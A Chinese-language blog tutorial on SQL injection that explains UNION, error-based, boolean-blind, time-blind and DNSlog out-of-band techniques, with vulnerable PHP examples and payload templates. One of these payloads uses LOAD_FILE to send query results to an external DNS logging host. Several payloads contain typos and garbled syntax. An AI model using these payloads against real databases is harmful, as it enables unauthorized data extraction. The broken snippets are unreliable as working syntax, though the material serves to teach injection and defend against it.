SQL注入语法类型和sql盲注

SQL注入语法

Union注入方法
SQL UNION操作符
UNION操作符用于合并两个或多个SELECT语句的结果集。

注意,UNION 内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同。

默认情况,UNION 操作符选取不同的值。如果允许重复的值,请使用UNION ALL。
例:
SELECT column name(s) FROM table_ name1
UNION
SELECT column_ name(s) FROM table_ name2

|SELECT column_ name(s) FROM table_ name1
UNION ALL
SELECT column name(s) FROM table_ name2

UNION注入应用场景
1.只有最后一个SELECT子句允许有ORDER BY;
2.只有最后一个SELECT子句允许有limit;
3.只要UNON连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果:
4.注入点页面有回显;
例:
mysql> select * from users order by id union select 1.2,3;
ERROR 1221 (HY00): ncorrer usage of UNION and ORDER BY

mysq|> select * from users limit 0.1 union selet 1.2.3;
ERROR 1221 (HY00); Inorrecet usage of UNION and LIMIT

order by猜出来的列数超过数据库表中的列数,报错井不能返回数据

过程
1.order by确定列数
2.观察页面返回,选取可以显示数据的位置,进行下一步的注入
3.读库信息
4.读表信息
5.读字段
6.读数据
在这个3到4阶段,可以执行任意语句

报错注入原理

构造payload让信息通过错误提示回显出来
应用场景:查询不回现内容,会打印错误信息。Update、insert等语句, 会打印错误信息

if($row){
echo "Your Login name:'.$row['usemame'];
}
else{
print_r(mysql_error());
}

在这里插入图片描述
报错注入方法
凡是可以让错误信息显示的函数(语句) ,都能实现报错注入,这里我们列举3种。

floor()
select count(*) from information_schema.tables group by concat((想要执行的sql注入语句),(rand(0)*2)):

group by对rand0函数进行操作时产生错误
concat:连接字符串功能
floor:取float的整数值
rand:取0~1之间随机浮点值
group by.根据一个或多个列对结果集进行分组并有排序功能

extractvalue()
extractvalue(1,concat(0x7e,(想要执行的sql注入语句),0x7e);、

xpath语法错误产生报错
extractvalue() :接收2个参数,第一个XML文档,第二个xpath语句

updatexml()
select updatexml(1,concat(0x7e,(想要执行的sql注入语句),0x7e)1);

xpath语法错误产生报错
updatexml() :接收3个参数第一个XML文档 ,第二个xpath语句,第三个字符串

sql盲注

布尔盲注原理

$id=$_ GET['id'];
$sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1';
$result =mysql_queryl($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "right" ;
}
else
{
echo "wrong" ;
}

代码存在SQL注入漏洞
然而页面即不会回显数据,也不会回显错误信息
只返回"Right" 与"Wrong"
这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和"假”来识别我们的判断是否正确,这既是布尔盲注。
在这里插入图片描述
1.如果页面返回“假”, 说明系统执行的SqL语句为“假”。例如: id=1 and left((select version0).1)=5–+
错误请求,id=1’,想办法构造语句.判断数据库中内容的值

布尔盲注方法
构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入

left0函数
left(database(),1)>‘s’
database()显示数据库名称,left(a,b)从左侧截取a的前b位

regexp
select user() regexp ‘^r’
正则表达式的用法user()结果为root,regexp为匹配root的正则表达式

like
select user0 like ‘ro%’
与regexp类似,使用like进行匹配

substr()函数
ascii()函数
ascii(substr((select database()),1,1)=98
substr(a,b,c)从b位开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值

ord0函数
mid0函数
ord(mid((select user())1,1))=114
mid(a,b,c)从位b开始,截取a字符串的c位ord()函数同ascii()。将字符转为ascii值

时间盲注原理

$id=$_ GET['id'];
$sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1';
$result =mysql_queryl($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "" ;
}
else
{
echo "" ;
}

代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息
语句执行后也不提示真假,我们不能通过页面的内容来进行判断
这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注!
在这里插入图片描述
时间盲注方法

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
核心语法: if(left(user(),1)=‘a’,0,sleep(3));
left(user(),1)='a’判断通过SQL语句取到某个值

真实场景: if(ascii(substr(database(),1,1)> 115,0,sleep(5))%23

dnslog盲注原理

$id=$_ GET['id'];
$sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1';
$result =mysql_queryl($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "right" ;
}
else
{
echo "wrong" ;
}

代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息
我们通过布尔或者时间盲注都可以获取到内容,但是整个过程效率低,需要发送很多的请求进行判断,很可能会触发安全设备的防护。

我们需要一种方式,减少请求,直接回显数据,这里可以使用DnsLog实现注入!

Dnslog平留: http://ceye.io/
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取信息请求信息
Windows系统的MySqI LOAD_ FILE函数可以发起请求

Dnslog盲注方法
构造语句,利用load file()函数发起请求,使用Dnslog接受请求,获取数据
核心语法: SELECT LOAD_FILE(CONCA(‘\\’,select database()), ‘.mysql.r4ourp.ceye.io\abc’));
通过SQL语句询内容,作为请求的部分,发送至Dnslog
只要对这一部分的语句进行构造,就能实现有回显的SQL注入
值得注意的是.这些数据格式和内容都有限制,需要进行些处理

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值